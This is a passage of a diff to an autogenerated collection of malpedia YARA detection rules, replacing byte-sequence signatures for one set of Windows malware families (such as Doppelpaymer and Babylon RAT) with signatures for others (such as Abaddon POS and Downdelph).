Bilstein - yara-signator at cocacoding dot com" - id = "941d9913-0086-5f92-b6d2-4c2b84e02b90" + id = "8abe8c6c-e31a-5eb9-813d-c2cddefb10f7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.void" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.void_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smarteyes_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "0a42c2ab7a2695a1845afe0b2eb12bba423d7c94d695c9222413c48eaaabdfac" + logic_hash = "a98816f76882e4d75e28a23473f5f4b08f8f9c7a339abedcd3611228b4563cbb" score = 75 quality = 75 tags = "FILE" @@ -93122,30 +93265,32 @@ rule MALPEDIA_Win_Void_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e001 0f840c000000 8365ecfe 8d4db8 e9???????? c3 8d8dd4feffff } - $sequence_1 = { 8b4564 83e004 0f840c000000 836564fb 8d4dac e9???????? c3 } - $sequence_2 = { 6a02 8d4d48 e8???????? 8d4548 c745fc02000000 bb01000000 8bce } - $sequence_3 = { 7504 c645f301 8d4db8 c745fcffffffff e8???????? 807df300 0f8569060000 } - $sequence_4 = { 83e914 e9???????? 83e918 e9???????? 83e93c e9???????? 83e904 } - $sequence_5 = { 50 8d4dd8 e8???????? 8d45d8 8d732c 50 8bce } - $sequence_6 = { 50 8bcf e8???????? 8d8d64ffffff c645fc0c e8???????? 33f6 } - $sequence_7 = { 0f8510010000 8b85b8feffff 66c745840100 889d71ffffff c78578ffffff00000000 8b4004 8b8c05f0feffff } + $sequence_0 = { 84c9 75f6 8b8da8feffff 8bc1 c1e817 2401 8885dafeffff } + $sequence_1 = { 8b7b3c 898580fbffff 33c0 66898594fbffff 8b432c 89859cfbffff 8b4310 } + $sequence_2 = { 84c9 75f9 2bc6 8d8418280a0000 50 e8???????? 8bd8 } + $sequence_3 = { 3bc8 727c 03c0 8945fc 3bc1 7703 894dfc } + $sequence_4 = { ffb5e0feffff e8???????? 59 8bbde4feffff 8b4508 6a4b 83c708 } + $sequence_5 = { 814df800000001 3bd7 7507 814df800008000 8b5d08 57 } + $sequence_6 = { 33c9 3c01 0f94c1 8d442430 52 51 50 } + $sequence_7 = { 50 e8???????? 8b4de4 83c40c 6bc930 8975e0 8db118bb0210 } + $sequence_8 = { 56 57 6a09 59 33c0 be1c010000 56 } + $sequence_9 = { 53 55 56 57 33c0 be???????? 6a06 } condition: - 7 of them and filesize < 2744320 + 7 of them and filesize < 429056 } -rule MALPEDIA_Win_Flashflood_Auto : FILE +rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d9f5526b-ab62-532b-9666-be6697f92fbf" + id = "618065dd-9f8b-57c5-a1c0-0e96b509ca5a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flashflood_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.abaddon_pos_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "446473d1c32fe4cdbf702296b6f8adbdf5ae7aa855f826a53c94075ec6207623" + logic_hash = "6a0d0d67cac52b36a9cdcb672d29dd1257357954e73ab46b05405f9db5dca5b4" score = 75 quality = 75 tags = "FILE" @@ -93159,32 +93304,37 @@ rule MALPEDIA_Win_Flashflood_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? eb0c ff7508 ff75fc ff15???????? 3975fc 5e } - $sequence_1 = { 8b45ec 52 8d55f8 52 8b08 6a10 } - $sequence_2 = { 8b5508 8b427c 6bc00c 33c9 668b88ec914000 8b5508 } - $sequence_3 = { c21000 b8???????? c3 33c9 394c2408 7e0f } - $sequence_4 = { 8b45f4 25ffff0000 33c9 8a88b0984000 894de8 eb17 8b55f4 } - $sequence_5 = { 8d853cf9ffff 50 ff15???????? 83c420 } - $sequence_6 = { 33c0 eb0a 57 ff15???????? 6a01 58 5f } - $sequence_7 = { 6a01 57 e8???????? 6a01 e8???????? } - $sequence_8 = { 50 e8???????? ff45fc 83c610 } - $sequence_9 = { 8a0406 8ad0 c0ea04 c0e004 02d0 } + $sequence_0 = { 750a 83fb3c 7605 e9???????? } + $sequence_1 = { 7605 e9???????? 48 034510 48 0500040000 803800 } + $sequence_2 = { 43 8b86ac010000 b400 b20a f6f2 80fc00 7406 } + $sequence_3 = { 8945fc 83f800 7502 eb86 6800d00700 ff75ec } + $sequence_4 = { eb91 81be0c01000080cf0700 7607 bb80cf0700 eb06 8b9e0c010000 } + $sequence_5 = { 48 89c7 48 8d86b8010000 48 } + $sequence_6 = { 6a00 6a02 ff15???????? 8945e8 8d95c0feffff 52 } + $sequence_7 = { 81c3f8030000 8903 48 31db 48 8b96d0050000 } + $sequence_8 = { 31c0 48 31d2 8a841eb8010000 } + $sequence_9 = { ff15???????? 8b86a0010000 3b86a4010000 0f83e6030000 8b9e94010000 039ea0010000 803b33 } + $sequence_10 = { 83f809 7603 83e809 ba00000000 eb05 ba01000000 0186ac010000 } + $sequence_11 = { 80fd3e 7406 41 80fd3f 756e 49 } + $sequence_12 = { 89e5 48 83ec20 48 c7c100000000 } + $sequence_13 = { 2c30 80ea30 666bc00a 48 01d0 48 89da } + $sequence_14 = { 52 ffb558feffff ff15???????? 8d9530fdffff 52 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Globeimposter_Auto : FILE +rule MALPEDIA_Win_Nikihttp_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "82e87f91-7017-50a0-9ca4-45151fd590f0" + id = "d7cb3a9d-079b-5853-9e14-59480637c45a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.globeimposter_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nikihttp" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nikihttp_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "6357ace0b94e1815a02ef2680ddeaabe7f1f4794f51d0c9008b25b79555a5d01" + logic_hash = "3a904456555531ef9c0cf6ba40524ce39305f318798212cc3d8f5ea0c8f6e7e2" score = 75 quality = 75 tags = "FILE" @@ -93198,32 +93348,32 @@ rule MALPEDIA_Win_Globeimposter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837c243020 57 8bfd 7608 6ac4 58 } - $sequence_1 = { 57 83fd08 0f8205010000 8bc5 } - $sequence_2 = { 85ff 7452 8bef 8bf0 8b06 8d7604 } - $sequence_3 = { 8b4508 8b4e08 89442418 85ff 7452 } - $sequence_4 = { e8???????? 85f6 7408 8d8600bdffff } - $sequence_5 = { 3dfa000000 7205 6a0c 5f eb0d } - $sequence_6 = { 6af4 58 e9???????? 7904 } - $sequence_7 = { ff15???????? ff349f 8bf0 ff15???????? 3bf0 } - $sequence_8 = { 7505 6ac4 58 eb2f } - $sequence_9 = { 7508 6af4 58 e9???????? 7904 6af6 } + $sequence_0 = { 81fb41cd9ec8 75f0 bbcc8dc70b 662e0f1f840000000000 90 81fbe1bcb5f8 7e28 } + $sequence_1 = { bf35a51c0f 41bed886138b 41bf87556a70 0f1f440000 81ffdc69e0ab 0f84b0000000 81ff35a51c0f } + $sequence_2 = { 81fe7b887e5d 740a 81fee5f97f04 75f0 eb07 bee5f97f04 ebe7 } + $sequence_3 = { b8ca43fd9f e9???????? 488b8d98000000 488b9580000000 488b4580 4883ec20 ffd0 } + $sequence_4 = { c785d000000003000000 8b8dd0000000 0fbec9 01c1 bab8c94eab ebab 898dd0000000 } + $sequence_5 = { bbdd37ea6d ebb4 884d78 8a4d78 884801 c6400200 488b4d00 } + $sequence_6 = { bb26cfb9cb 660f1f840000000000 81fbf6c7d601 7f28 81fbddb48ecd 7f50 81fb1c10669d } + $sequence_7 = { 8b442404 8b442404 8b442404 8b442404 8b442404 b837c4eca4 e9???????? } + $sequence_8 = { babec982ec 0f45ea ba51cce543 662e0f1f840000000000 0f1f00 81facbe177f9 7e28 } + $sequence_9 = { ebe9 89bdd0080000 8b85d0080000 6689431e c785a808000020000000 b813cbdf5e 662e0f1f840000000000 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 2543616 } -rule MALPEDIA_Win_Doppelpaymer_Auto : FILE +rule MALPEDIA_Win_Flowershop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1dc537b4-6f02-5ffb-95a3-e1931065b1d5" + id = "40619a48-6b17-5bee-8aad-65bf7cac75aa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doppelpaymer_auto.yar#L1-L187" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flowershop_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "afd64f2ddb5bd37f521cb40f0013348f346b9ab89a5e6cb99d5de3a1977e77f0" + logic_hash = "ba2d45fad977755fd044c78f8aeed860d85d236ff95a62d89180f428b8bcb5e7" score = 75 quality = 75 tags = "FILE" @@ -93237,40 +93387,32 @@ rule MALPEDIA_Win_Doppelpaymer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7523 80790264 751d 80790561 } - $sequence_1 = { 751d 80790561 7517 80790361 7511 80790474 } - $sequence_2 = { e8???????? 8b08 e8???????? 3db6389096 } - $sequence_3 = { 80790361 7511 80790474 750b 80790173 7505 80392e } - $sequence_4 = { baffffff7f 43 e8???????? 3bd8 } - $sequence_5 = { 83ec28 6800002002 6a00 6a01 } - $sequence_6 = { 8d8c2478010000 e8???????? 8d8c246c010000 e8???????? 8d8c24dc010000 e8???????? 8d8c24cc010000 } - $sequence_7 = { e8???????? 85c0 740d 6a00 ff742440 ffd0 85c0 } - $sequence_8 = { c20800 897de0 897de4 897de8 8d4900 } - $sequence_9 = { 895ddc 0f84f0000000 e9???????? b801000000 b925155e0b } - $sequence_10 = { c20800 8b31 8955f8 8955fc } - $sequence_11 = { 8b4d0c 8b5508 83f800 8945f4 894df0 8955ec 7528 } - $sequence_12 = { 894de4 8955e0 897ddc 8975d8 } - $sequence_13 = { 8945e8 eb0c a1???????? ffd0 8945e4 ebc9 8b45e8 } - $sequence_14 = { 8945e4 ebe3 b8c6ea1451 2b45ec 8b4dd8 81c1ffff0000 } - $sequence_15 = { 8b7e38 897dc8 8955cc 893424 c744240400000000 c744240858000000 } - $sequence_16 = { 8b55d8 8bb2a0000000 8b7de4 01f7 89fb 83c304 8b55e4 } - $sequence_17 = { 8b8578ffffff b909fcb97e 2b4df0 8b55a4 39ca } + $sequence_0 = { 3b45f0 74e0 8945f0 6a08 8d45f0 6a00 50 } + $sequence_1 = { 5e c3 56 33f6 8935???????? e8???????? a1???????? } + $sequence_2 = { ff75e0 e8???????? 83c418 85c0 750e c705????????01000000 33c0 } + $sequence_3 = { 59 85c0 59 741f 8b07 0105???????? } + $sequence_4 = { 51 56 57 33ff 897df8 897dfc c745f898c3fead } + $sequence_5 = { 894d0c 76bb 33c0 5f 5e 5b c9 } + $sequence_6 = { eb71 0fb605???????? 6bc07c 50 8d85f9e0ffff 68???????? 50 } + $sequence_7 = { 33c9 83c60c 81fe???????? 72d8 85c9 0f8471ffffff } + $sequence_8 = { 8b7510 8b7dfc 837e0400 750b 817e0818350000 7502 ff17 } + $sequence_9 = { 2b01 c3 8b442404 8b542408 8b4804 03ca } condition: - 7 of them and filesize < 7266304 + 7 of them and filesize < 829440 } -rule MALPEDIA_Win_Bibi_Auto : FILE +rule MALPEDIA_Win_Comlook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c2df99bb-e2c1-5d6e-93f4-9c5f5dcb8fbb" + id = "248fcbac-27be-588f-a9f5-d4bcd5003e90" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bibi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bibi_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.comlook_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3d7402c133784a89b3daa278c9e13f3e526d55f5078582b8c7ac35078977c2ac" + logic_hash = "342d3eba65a3a3eb715f8cb01d2789f76a6de2adfe9c491e43fe2b64805812f2" score = 75 quality = 75 tags = "FILE" @@ -93284,32 +93426,32 @@ rule MALPEDIA_Win_Bibi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f840b010000 488d05a2af0100 4a8b04e8 42385cf838 0f8df5000000 e8???????? } - $sequence_1 = { 754a 483bc2 0f84cc000000 660f1f440000 4c8929 4c896910 4c896918 } - $sequence_2 = { 488b45bf 488b1cd0 488b5318 4883fa08 } - $sequence_3 = { 89442424 488b4c2420 48898b78020000 488bc3 4c8d5c2460 } - $sequence_4 = { 483bd9 7522 483bc1 7468 0f1f4000 0f1008 } - $sequence_5 = { 488d15645c0100 e8???????? 85c0 7416 } - $sequence_6 = { 7716 488bc6 4983f810 7203 488b06 48894e10 c6040800 } - $sequence_7 = { 0f84a1000000 b901000000 e8???????? 483bd8 7509 488d3d70c00100 eb16 } - $sequence_8 = { 6690 83fb0a 7d65 ba3d000000 e8???????? } - $sequence_9 = { 4c8d04c0 498b84d140310300 42f644c03848 7430 8a8c2480000000 4c8b942490000000 80f90a } + $sequence_0 = { ffd2 3bf4 e8???????? b807000000 e9???????? 837db000 741f } + $sequence_1 = { ff15???????? 83c404 3bf4 e8???????? 8b4508 c7400800000000 33c9 } + $sequence_2 = { e9???????? 8b55f8 83ba5007000000 750a 837dbc00 0f8438020000 c78554ffffff00000000 } + $sequence_3 = { e9???????? 68df010000 68???????? 6a0c 6a05 e8???????? 8b87c4000000 } + $sequence_4 = { eb0a c785c8feffff44f72010 8b5508 83ba7403000000 7411 8b4508 8b8874030000 } + $sequence_5 = { c745f000000000 6a00 e8???????? 83c404 8945e8 8955ec c745e400000000 } + $sequence_6 = { eb03 894dbc 8b4de4 8b55d0 8bc2 83f910 7303 } + $sequence_7 = { eb0a c785b4eeffff518c1e10 837d1400 740c c785b0eeffff70191e10 eb0a c785b0eeffff518c1e10 } + $sequence_8 = { e9???????? 6a02 68???????? 6a01 8b5508 52 e8???????? } + $sequence_9 = { eb11 8b5518 8b4510 33c9 3b4218 0f9fc1 894ddc } condition: - 7 of them and filesize < 462848 + 7 of them and filesize < 4553728 } -rule MALPEDIA_Win_Sarhust_Auto : FILE +rule MALPEDIA_Win_Alma_Communicator_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f82eb40-7df1-5fcd-972c-65036c547e83" + id = "dd1f8f96-5178-5e9c-b517-f0f999a8d81a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sarhust_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alma_communicator_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "6be2d8277b702e649c294d54fc6ec35174e3abad1edfa4501c6a9845d06e8218" + logic_hash = "4a8409fa38b9c8a27f076e76311702617520d12f6ac449f7858d852242e0bc37" score = 75 quality = 75 tags = "FILE" @@ -93323,32 +93465,32 @@ rule MALPEDIA_Win_Sarhust_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? } - $sequence_1 = { 8d8d4cffffff e8???????? 6a00 ff15???????? } - $sequence_2 = { 6801000080 ff15???????? 85c0 7408 ff15???????? } - $sequence_3 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? } - $sequence_4 = { eb08 8b4520 8b4d0c 8908 } - $sequence_5 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 } - $sequence_6 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff } - $sequence_7 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? } - $sequence_8 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 } - $sequence_9 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? } + $sequence_0 = { 83e13f 6bc930 53 8b5d10 8b0485f08f4100 56 8b7508 } + $sequence_1 = { 88040a 41 84c0 75f6 ba???????? } + $sequence_2 = { 68f4010000 e8???????? 8364242800 8bf0 59 } + $sequence_3 = { 8b0485f08f4100 56 8b7508 57 } + $sequence_4 = { 8a4f01 47 84c9 75f8 8d8de0fdffff 668907 e8???????? } + $sequence_5 = { eb06 8b9d18ddffff 57 e8???????? } + $sequence_6 = { 52 52 ff15???????? 89849da0e9ffff 43 68e8030000 } + $sequence_7 = { 0f4ecb 8bd9 7fe6 8bfe 8d4f01 } + $sequence_8 = { 59 33c9 89442414 8bf1 } + $sequence_9 = { 59 59 8945f4 8d45f8 50 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Fuxsocy_Auto : FILE +rule MALPEDIA_Win_Tendyron_Dropper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e4d8f81-20f8-540c-90a5-36985982ab6a" + id = "08b15c69-b6bb-5f67-94b5-3ede90043914" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fuxsocy_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tendyron_dropper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tendyron_dropper_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "dc08d740dcf5db967ba7f125c57f76f52d4f954228326fede3bf43506bd45bbf" + logic_hash = "94561d7c039213b2f4a4b8b35e59d5ff0543e6273d6a081dce691bd5357ae7eb" score = 75 quality = 75 tags = "FILE" @@ -93362,32 +93504,32 @@ rule MALPEDIA_Win_Fuxsocy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b0d???????? e8???????? 8b4dfc e8???????? 46 3b35???????? 72c4 } - $sequence_1 = { 51 51 51 51 f7d8 51 } - $sequence_2 = { 50 6a01 53 ff15???????? 85c0 756e 395c2414 } - $sequence_3 = { 8b08 ff5108 8b45e4 5f 5e c9 c3 } - $sequence_4 = { ff74241c 8bda 894c2414 ff15???????? 8b7c2418 8be8 8b17 } - $sequence_5 = { 50 8d44241c 50 6a00 6a07 6a00 ff742424 } - $sequence_6 = { 8954240c 85ff 7474 8b4f04 55 8d54240c e8???????? } - $sequence_7 = { 8b45fc 6a5c 5a 66891448 } - $sequence_8 = { 83c102 e8???????? 8b16 8b4e1c 8944d104 ff06 } - $sequence_9 = { 8954241c 8be9 8364241000 8364241800 8364242400 8d442424 50 } + $sequence_0 = { 6639430e 750f 6817070000 ff15???????? 33c0 } + $sequence_1 = { 81ec84000000 53 56 57 6a44 8bd8 } + $sequence_2 = { bf00200000 57 8945f0 e8???????? 59 6a00 57 } + $sequence_3 = { 85c0 7d0b 3b7d68 7501 } + $sequence_4 = { 56 33db 8d85b0feffff 53 50 e8???????? } + $sequence_5 = { 59 3bf3 0f84f3feffff 8b45fc 53 68d3000000 } + $sequence_6 = { 84c9 75f9 2bf2 8bce 8b75fc 33d2 f3a6 } + $sequence_7 = { 72ee 83f81e 77e9 833d????????00 } + $sequence_8 = { 68???????? c70614010000 ff15???????? 50 ff15???????? } + $sequence_9 = { 8a01 3429 0429 8801 41 4e } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 58368 } -rule MALPEDIA_Win_Babylon_Rat_Auto : FILE +rule MALPEDIA_Win_Downdelph_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bc5c3c5f-b09f-560b-a5c8-4129e77b8b02" + id = "4f6b1d19-3f1f-5f81-9e45-1d0b60961ede" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babylon_rat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downdelph_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "2a5b12d9c48bc80c359b824ca684a979c3525be47a37762af45326a7566f7848" + logic_hash = "eae4c367be0b783aacccaf67139d8191ef5e286d3c53b64319eee5bb00fa728e" score = 75 quality = 75 tags = "FILE" @@ -93401,32 +93543,32 @@ rule MALPEDIA_Win_Babylon_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4610 83c40c 8b4dfc 8b4c080c 8b45f4 3b01 7413 } - $sequence_1 = { ff75ec e8???????? 59 59 85ff 0f8541010000 8b0b } - $sequence_2 = { ff75c0 6a23 56 e8???????? 6a01 56 e8???????? } - $sequence_3 = { 8b450c f6402a20 753d 51 ff75f4 6a70 53 } - $sequence_4 = { ff3402 e8???????? 8bf0 83c404 803e9a 0f85a6000000 8b55bc } - $sequence_5 = { eb5e 83f8fa 7508 897e10 884601 eb51 83f8f6 } - $sequence_6 = { 8d4801 66894dbc 8b4620 8945a4 8b450c 8945b0 8b06 } - $sequence_7 = { 85f6 7e4c c7451007000000 53 8b450c 0fbe5c1001 0fbe0c10 } - $sequence_8 = { ff75f4 ffb57cffffff 53 56 e8???????? 83c42c 837dc000 } - $sequence_9 = { ffb3ac000000 e8???????? 8bbbac000000 be???????? 8b4dfc 03f9 51 } + $sequence_0 = { 8b0d???????? ba???????? e8???????? 8b55d4 8d45d8 } + $sequence_1 = { 8d45f0 e8???????? 8d45e4 33c9 ba08000000 e8???????? 8b45f4 } + $sequence_2 = { 8d45f4 ba02000000 e8???????? 8d45fc 8b15???????? } + $sequence_3 = { 7c66 46 33db 8d45c0 } + $sequence_4 = { 8b14b0 8d45e0 b9???????? e8???????? 8b55e0 8d45e4 e8???????? } + $sequence_5 = { 8d45f8 e8???????? 8b55f8 8d45fc 8b4dfc e8???????? 8bc3 } + $sequence_6 = { 7409 8b12 50 e8???????? 58 83e808 e8???????? } + $sequence_7 = { 33c9 ba04010000 e8???????? 8d45f8 } + $sequence_8 = { 81ce00ffffff 46 0fb68c35bcfeffff 884df7 889435bcfeffff } + $sequence_9 = { 8d45e4 ba03000000 e8???????? 8b55e4 8d45fc } condition: - 7 of them and filesize < 1604608 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Feed_Load_Auto : FILE +rule MALPEDIA_Win_Unidentified_080_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "12c918c0-c452-5da2-b8ac-4e16f1c3b07c" + id = "167c06b1-3a4c-5ce4-bead-27b24b52c04c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feed_load" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.feed_load_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_080_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "722b483a312044af2fe5076c6a59554ad3a69ee6c355530da497915e66c263d4" + logic_hash = "1ce14bfb96c0d551ff9abc4441491b6d6b29b9deb460d6ae62dbbcd58745f42a" score = 75 quality = 75 tags = "FILE" @@ -93440,32 +93582,32 @@ rule MALPEDIA_Win_Feed_Load_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 44393d???????? 742c 4c897c2428 4c8d0578faffff 4533c9 44897c2420 33d2 } - $sequence_1 = { 48ffc0 4983ef01 75ef 498d5508 488bcd 4c8d4c2458 } - $sequence_2 = { 448bc7 488bd0 488bce 4c8bf0 e8???????? 3bc5 7411 } - $sequence_3 = { 482bca 4883c302 4183e60f 4983fe0f 0f85bd000000 } - $sequence_4 = { e8???????? 8b442450 8905???????? eb17 4c8d442454 e8???????? } - $sequence_5 = { 488d15a6550200 448bcf 448bc6 ff15???????? 4423e0 0f84ef010000 488b4b18 } - $sequence_6 = { 4889742420 4489442418 55 57 4154 4156 4157 } - $sequence_7 = { 8bc2 c1e81f 03d0 8d4310 03c2 48638c24b0000000 3bc8 } - $sequence_8 = { e9???????? 488bc3 4c8d3d873affff 498784f798600300 4885c0 7409 } - $sequence_9 = { 410fb608 83e10f 4a0fbe841100050200 428a8c1110050200 } + $sequence_0 = { 85f6 7431 8d460d 50 e8???????? 83c404 85c0 } + $sequence_1 = { ff15???????? 68e8030000 ff15???????? 8b85e0fdffff 40 8985e0fdffff 83f80a } + $sequence_2 = { 8b5004 8bce c745ec88310210 ffd2 33c0 } + $sequence_3 = { 899d8cfdffff 898504fdffff 899d88fdffff 899d90fdffff 899d94fdffff } + $sequence_4 = { 57 56 6a01 50 ff15???????? 85c0 } + $sequence_5 = { 741d 8b5508 8bf3 e8???????? 83c404 5f c7830050000000000000 } + $sequence_6 = { 767d 03c7 3b44243c 763f 8b44243c 0500400000 50 } + $sequence_7 = { 894c2414 8b4760 8b5f6c 8b742414 } + $sequence_8 = { 40 3bc7 72f6 eb2b 8d5001 8bcf 2bca } + $sequence_9 = { 8b5c2414 83c3f4 81fb???????? 7414 53 ff15???????? 85c0 } condition: - 7 of them and filesize < 512000 + 7 of them and filesize < 392192 } -rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE +rule MALPEDIA_Win_Atlantida_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d81a4891-2ccb-5a37-a1c9-3cb6dc4ddf54" + id = "449807de-c2d1-5bb0-a23b-6b1bb9a18e58" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nozelesn_decryptor_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlantida" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atlantida_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "df00466a0b451868376ca8f8e40a817d0c669175deb69c467a31b881c85a7c54" + logic_hash = "5a71a5b3ff4a38d6154af29c3b9c4fd13de9adafd3282b12a56385b9c3f01092" score = 75 quality = 75 tags = "FILE" @@ -93479,32 +93621,32 @@ rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1c20d 33f0 8bca 33f2 c1e103 33c8 d1c6 } - $sequence_1 = { 8bff 55 8bec 8b4d08 33c0 3b0cc5a8574600 7427 } - $sequence_2 = { 80f939 7510 c60630 8b8578ffffff 4e 3bf0 75e0 } - $sequence_3 = { 0f8742010000 eb14 8b7d80 83c002 8b75b4 8b8d7cffffff e9???????? } - $sequence_4 = { 8b450c 8b5508 8bca c745e800000000 c745ec0f000000 8b38 } - $sequence_5 = { 53 8b5d10 56 57 8bf9 33f6 8b07 } - $sequence_6 = { 89bd78ffffff 47 897d8c 813900ca9a3b 88559f 0f95c0 895588 } - $sequence_7 = { 8bfb 335df8 f7d7 8b4df8 0bd8 f7d1 } - $sequence_8 = { c745e428664200 eb08 8d4dd8 e8???????? 